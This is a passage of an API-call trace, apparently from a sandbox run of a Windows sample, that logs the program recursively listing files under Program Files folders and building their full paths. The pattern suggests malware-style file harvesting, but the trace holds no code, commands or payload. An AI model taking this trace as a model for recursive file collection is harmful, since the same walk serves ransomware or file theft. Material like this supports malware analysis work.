lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsprofilerui.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsprofilerui.dll.mui" [0031.546] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsprofilerui.dll.mui") returned 67 [0031.546] lstrcpyW (in: lpString1=0x12fe98, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsprofilerui.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsprofilerui.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsprofilerui.dll.mui" [0031.546] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0 [0031.546] FindClose (in: hFindFile=0x775ab0 | out: hFindFile=0x775ab0) returned 1 [0031.546] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.546] lstrcmpW (lpString1="ExtExport.exe", lpString2=".") returned 1 [0031.546] lstrcmpW (lpString1="ExtExport.exe", lpString2="..") returned 1 [0031.546] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0031.546] lstrlenW (lpString="ExtExport.exe") returned 13 [0031.546] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="ExtExport.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe" [0031.546] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe") returned 54 [0031.546] lstrcpyW (in: lpString1=0x25e0420, lpString2="c:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe" [0031.546] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.546] lstrcmpW (lpString1="hmmapi.dll", lpString2=".") returned 1 [0031.546] lstrcmpW (lpString1="hmmapi.dll", lpString2="..") returned 1 [0031.546] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0031.547] lstrlenW (lpString="hmmapi.dll") returned 10 [0031.547] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="hmmapi.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\hmmapi.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\hmmapi.dll" [0031.547] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\hmmapi.dll") returned 51 [0031.547] lstrcpyW (in: lpString1=0x12ff28, lpString2="c:\\Program Files (x86)\\Internet Explorer\\hmmapi.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\hmmapi.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\hmmapi.dll" [0031.547] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.547] lstrcmpW (lpString1="ie8props.propdesc", lpString2=".") returned 1 [0031.547] lstrcmpW (lpString1="ie8props.propdesc", lpString2="..") returned 1 [0031.547] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0031.547] lstrlenW (lpString="ie8props.propdesc") returned 17 [0031.547] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="ie8props.propdesc" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ie8props.propdesc") returned="c:\\Program Files (x86)\\Internet Explorer\\ie8props.propdesc" [0031.547] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\ie8props.propdesc") returned 58 [0031.547] lstrcpyW (in: lpString1=0x25e1048, lpString2="c:\\Program Files (x86)\\Internet Explorer\\ie8props.propdesc" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ie8props.propdesc") returned="c:\\Program Files (x86)\\Internet Explorer\\ie8props.propdesc" [0031.547] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.547] lstrcmpW (lpString1="iecompat.dll", lpString2=".") returned 1 [0031.547] lstrcmpW (lpString1="iecompat.dll", lpString2="..") returned 1 [0031.547] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0031.547] lstrlenW (lpString="iecompat.dll") returned 12 [0031.547] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="iecompat.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\iecompat.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\iecompat.dll" [0031.547] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\iecompat.dll") returned 53 [0031.547] lstrcpyW (in: lpString1=0x25e0498, lpString2="c:\\Program Files (x86)\\Internet Explorer\\iecompat.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\iecompat.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\iecompat.dll" [0031.547] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.547] lstrcmpW (lpString1="iedvtool.dll", lpString2=".") returned 1 [0031.547] lstrcmpW (lpString1="iedvtool.dll", lpString2="..") returned 1 [0031.547] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0031.547] lstrlenW (lpString="iedvtool.dll") returned 12 [0031.547] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="iedvtool.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\iedvtool.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\iedvtool.dll" [0031.547] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\iedvtool.dll") returned 53 [0031.547] lstrcpyW (in: lpString1=0x25e0510, lpString2="c:\\Program Files (x86)\\Internet Explorer\\iedvtool.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\iedvtool.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\iedvtool.dll" [0031.547] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.547] lstrcmpW (lpString1="ieinstal.exe", lpString2=".") returned 1 [0031.547] lstrcmpW (lpString1="ieinstal.exe", lpString2="..") returned 1 [0031.547] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0031.547] lstrlenW (lpString="ieinstal.exe") returned 12 [0031.547] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="ieinstal.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe" [0031.547] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe") returned 53 [0031.547] lstrcpyW (in: lpString1=0x25e0588, lpString2="c:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe" [0031.547] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.547] lstrcmpW (lpString1="ielowutil.exe", lpString2=".") returned 1 [0031.547] lstrcmpW (lpString1="ielowutil.exe", lpString2="..") returned 1 [0031.547] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0031.547] lstrlenW (lpString="ielowutil.exe") returned 13 [0031.547] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="ielowutil.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe" [0031.547] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe") returned 54 [0031.547] lstrcpyW (in: lpString1=0x25e0600, lpString2="c:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe" [0031.547] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.547] lstrcmpW (lpString1="ieproxy.dll", lpString2=".") returned 1 [0031.547] lstrcmpW (lpString1="ieproxy.dll", lpString2="..") returned 1 [0031.547] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0031.547] lstrlenW (lpString="ieproxy.dll") returned 11 [0031.547] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="ieproxy.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ieproxy.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\ieproxy.dll" [0031.547] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\ieproxy.dll") returned 52 [0031.548] lstrcpyW (in: lpString1=0x25e0678, lpString2="c:\\Program Files (x86)\\Internet Explorer\\ieproxy.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ieproxy.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\ieproxy.dll" [0031.548] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.548] lstrcmpW (lpString1="IEShims.dll", lpString2=".") returned 1 [0031.548] lstrcmpW (lpString1="IEShims.dll", lpString2="..") returned 1 [0031.548] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0031.548] lstrlenW (lpString="IEShims.dll") returned 11 [0031.548] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="IEShims.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\IEShims.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\IEShims.dll" [0031.548] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\IEShims.dll") returned 52 [0031.548] lstrcpyW (in: lpString1=0x25e06f0, lpString2="c:\\Program Files (x86)\\Internet Explorer\\IEShims.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\IEShims.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\IEShims.dll" [0031.548] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.548] lstrcmpW (lpString1="iexplore.exe", lpString2=".") returned 1 [0031.548] lstrcmpW (lpString1="iexplore.exe", lpString2="..") returned 1 [0031.548] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0031.548] lstrlenW (lpString="iexplore.exe") returned 12 [0031.548] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="iexplore.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\iexplore.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" [0031.548] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\iexplore.exe") returned 53 [0031.548] lstrcpyW (in: lpString1=0x25e0768, lpString2="c:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\iexplore.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" [0031.548] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.548] lstrcmpW (lpString1="instrumentationendorsementcivilizationcommentary.exe", lpString2=".") returned 1 [0031.548] lstrcmpW (lpString1="instrumentationendorsementcivilizationcommentary.exe", lpString2="..") returned 1 [0031.548] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0031.548] lstrlenW (lpString="instrumentationendorsementcivilizationcommentary.exe") returned 52 [0031.548] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="instrumentationendorsementcivilizationcommentary.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\instrumentationendorsementcivilizationcommentary.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\instrumentationendorsementcivilizationcommentary.exe" [0031.548] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\instrumentationendorsementcivilizationcommentary.exe") returned 93 [0031.548] lstrcpyW (in: lpString1=0x25e10c8, lpString2="c:\\Program Files (x86)\\Internet Explorer\\instrumentationendorsementcivilizationcommentary.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\instrumentationendorsementcivilizationcommentary.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\instrumentationendorsementcivilizationcommentary.exe" [0031.548] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.548] lstrcmpW (lpString1="jsdbgui.dll", lpString2=".") returned 1 [0031.548] lstrcmpW (lpString1="jsdbgui.dll", lpString2="..") returned 1 [0031.548] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0031.548] lstrlenW (lpString="jsdbgui.dll") returned 11 [0031.548] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="jsdbgui.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\jsdbgui.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\jsdbgui.dll" [0031.548] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\jsdbgui.dll") returned 52 [0031.548] lstrcpyW (in: lpString1=0x25e07e0, lpString2="c:\\Program Files (x86)\\Internet Explorer\\jsdbgui.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\jsdbgui.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\jsdbgui.dll" [0031.548] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.548] lstrcmpW (lpString1="jsdebuggeride.dll", lpString2=".") returned 1 [0031.548] lstrcmpW (lpString1="jsdebuggeride.dll", lpString2="..") returned 1 [0031.548] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0031.548] lstrlenW (lpString="jsdebuggeride.dll") returned 17 [0031.548] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="jsdebuggeride.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\jsdebuggeride.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\jsdebuggeride.dll" [0031.548] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\jsdebuggeride.dll") returned 58 [0031.548] lstrcpyW (in: lpString1=0x25e1190, lpString2="c:\\Program Files (x86)\\Internet Explorer\\jsdebuggeride.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\jsdebuggeride.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\jsdebuggeride.dll" [0031.548] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.548] lstrcmpW (lpString1="JSProfilerCore.dll", lpString2=".") returned 1 [0031.548] lstrcmpW (lpString1="JSProfilerCore.dll", lpString2="..") returned 1 [0031.548] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0031.548] lstrlenW (lpString="JSProfilerCore.dll") returned 18 [0031.548] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="JSProfilerCore.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\JSProfilerCore.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\JSProfilerCore.dll" [0031.548] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\JSProfilerCore.dll") returned 59 [0031.548] lstrcpyW (in: lpString1=0x25e1210, lpString2="c:\\Program Files (x86)\\Internet Explorer\\JSProfilerCore.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\JSProfilerCore.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\JSProfilerCore.dll" [0031.548] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.548] lstrcmpW (lpString1="jsprofilerui.dll", lpString2=".") returned 1 [0031.548] lstrcmpW (lpString1="jsprofilerui.dll", lpString2="..") returned 1 [0031.549] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0031.549] lstrlenW (lpString="jsprofilerui.dll") returned 16 [0031.549] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="jsprofilerui.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\jsprofilerui.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\jsprofilerui.dll" [0031.549] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\jsprofilerui.dll") returned 57 [0031.549] lstrcpyW (in: lpString1=0x25e1290, lpString2="c:\\Program Files (x86)\\Internet Explorer\\jsprofilerui.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\jsprofilerui.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\jsprofilerui.dll" [0031.549] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.549] lstrcmpW (lpString1="msdbg2.dll", lpString2=".") returned 1 [0031.549] lstrcmpW (lpString1="msdbg2.dll", lpString2="..") returned 1 [0031.549] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0031.549] lstrlenW (lpString="msdbg2.dll") returned 10 [0031.549] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="msdbg2.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\msdbg2.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\msdbg2.dll" [0031.549] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\msdbg2.dll") returned 51 [0031.549] lstrcpyW (in: lpString1=0x25e1310, lpString2="c:\\Program Files (x86)\\Internet Explorer\\msdbg2.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\msdbg2.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\msdbg2.dll" [0031.549] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.549] lstrcmpW (lpString1="pdm.dll", lpString2=".") returned 1 [0031.549] lstrcmpW (lpString1="pdm.dll", lpString2="..") returned 1 [0031.549] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0031.549] lstrlenW (lpString="pdm.dll") returned 7 [0031.549] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="pdm.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\pdm.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\pdm.dll" [0031.549] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\pdm.dll") returned 48 [0031.549] lstrcpyW (in: lpString1=0x25e1380, lpString2="c:\\Program Files (x86)\\Internet Explorer\\pdm.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\pdm.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\pdm.dll" [0031.549] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.549] lstrcmpW (lpString1="SIGNUP", lpString2=".") returned 1 [0031.549] lstrcmpW (lpString1="SIGNUP", lpString2="..") returned 1 [0031.549] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0031.549] lstrlenW (lpString="SIGNUP") returned 6 [0031.549] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="SIGNUP" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP") returned="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP" [0031.549] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\") returned="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\" [0031.549] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\") returned 48 [0031.549] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\*") returned="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\*" [0031.549] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\*", lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0x775ab0 [0031.549] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.549] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.549] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.549] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.549] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.549] lstrcmpW (lpString1="install.ins", lpString2=".") returned 1 [0031.549] lstrcmpW (lpString1="install.ins", lpString2="..") returned 1 [0031.549] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\") returned 48 [0031.549] lstrlenW (lpString="install.ins") returned 11 [0031.549] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\", lpString2="install.ins" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\install.ins") returned="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\install.ins" [0031.549] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\install.ins") returned 59 [0031.549] lstrcpyW (in: lpString1=0x25e13f0, lpString2="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\install.ins" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\install.ins") returned="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\install.ins" [0031.549] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0 [0031.549] FindClose (in: hFindFile=0x775ab0 | out: hFindFile=0x775ab0) returned 1 [0031.550] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.550] lstrcmpW (lpString1="sqmapi.dll", lpString2=".") returned 1 [0031.550] lstrcmpW (lpString1="sqmapi.dll", lpString2="..") returned 1 [0031.550] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0031.550] lstrlenW (lpString="sqmapi.dll") returned 10 [0031.550] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="sqmapi.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\sqmapi.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\sqmapi.dll" [0031.550] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\sqmapi.dll") returned 51 [0031.550] lstrcpyW (in: lpString1=0x25e1470, lpString2="c:\\Program Files (x86)\\Internet Explorer\\sqmapi.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\sqmapi.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\sqmapi.dll" [0031.550] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0 [0031.550] FindClose (in: hFindFile=0x775a70 | out: hFindFile=0x775a70) returned 1 [0031.550] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.550] lstrcmpW (lpString1="Java", lpString2=".") returned 1 [0031.550] lstrcmpW (lpString1="Java", lpString2="..") returned 1 [0031.550] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0031.550] lstrlenW (lpString="Java") returned 4 [0031.550] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Java" | out: lpString1="c:\\Program Files (x86)\\Java") returned="c:\\Program Files (x86)\\Java" [0031.550] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Java\\") returned="c:\\Program Files (x86)\\Java\\" [0031.550] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\") returned 28 [0031.550] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Java\\*") returned="c:\\Program Files (x86)\\Java\\*" [0031.550] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Java\\*", lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0x775a70 [0031.550] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.550] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.550] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.550] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.550] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.550] lstrcmpW (lpString1="analysts-dose.exe", lpString2=".") returned 1 [0031.550] lstrcmpW (lpString1="analysts-dose.exe", lpString2="..") returned 1 [0031.550] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\") returned 28 [0031.550] lstrlenW (lpString="analysts-dose.exe") returned 17 [0031.550] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\", lpString2="analysts-dose.exe" | out: lpString1="c:\\Program Files (x86)\\Java\\analysts-dose.exe") returned="c:\\Program Files (x86)\\Java\\analysts-dose.exe" [0031.550] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\analysts-dose.exe") returned 45 [0031.550] lstrcpyW (in: lpString1=0x25e14e0, lpString2="c:\\Program Files (x86)\\Java\\analysts-dose.exe" | out: lpString1="c:\\Program Files (x86)\\Java\\analysts-dose.exe") returned="c:\\Program Files (x86)\\Java\\analysts-dose.exe" [0031.550] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.550] lstrcmpW (lpString1="diamond_hospitals_designs_www.exe", lpString2=".") returned 1 [0031.550] lstrcmpW (lpString1="diamond_hospitals_designs_www.exe", lpString2="..") returned 1 [0031.550] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\") returned 28 [0031.550] lstrlenW (lpString="diamond_hospitals_designs_www.exe") returned 33 [0031.550] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\", lpString2="diamond_hospitals_designs_www.exe" | out: lpString1="c:\\Program Files (x86)\\Java\\diamond_hospitals_designs_www.exe") returned="c:\\Program Files (x86)\\Java\\diamond_hospitals_designs_www.exe" [0031.550] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\diamond_hospitals_designs_www.exe") returned 61 [0031.550] lstrcpyW (in: lpString1=0x25e1548, lpString2="c:\\Program Files (x86)\\Java\\diamond_hospitals_designs_www.exe" | out: lpString1="c:\\Program Files (x86)\\Java\\diamond_hospitals_designs_www.exe") returned="c:\\Program Files (x86)\\Java\\diamond_hospitals_designs_www.exe" [0031.550] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.550] lstrcmpW (lpString1="jre7", lpString2=".") returned 1 [0031.550] lstrcmpW (lpString1="jre7", lpString2="..") returned 1 [0031.550] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\") returned 28 [0031.550] lstrlenW (lpString="jre7") returned 4 [0031.550] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\", lpString2="jre7" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7") returned="c:\\Program Files (x86)\\Java\\jre7" [0031.550] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\") returned="c:\\Program Files (x86)\\Java\\jre7\\" [0031.551] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0031.551] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\*") returned="c:\\Program Files (x86)\\Java\\jre7\\*" [0031.551] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Java\\jre7\\*", lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0x775ab0 [0031.551] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.551] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.551] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.551] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.551] FindNextFileW (in: hFindFile=0x775ab0, 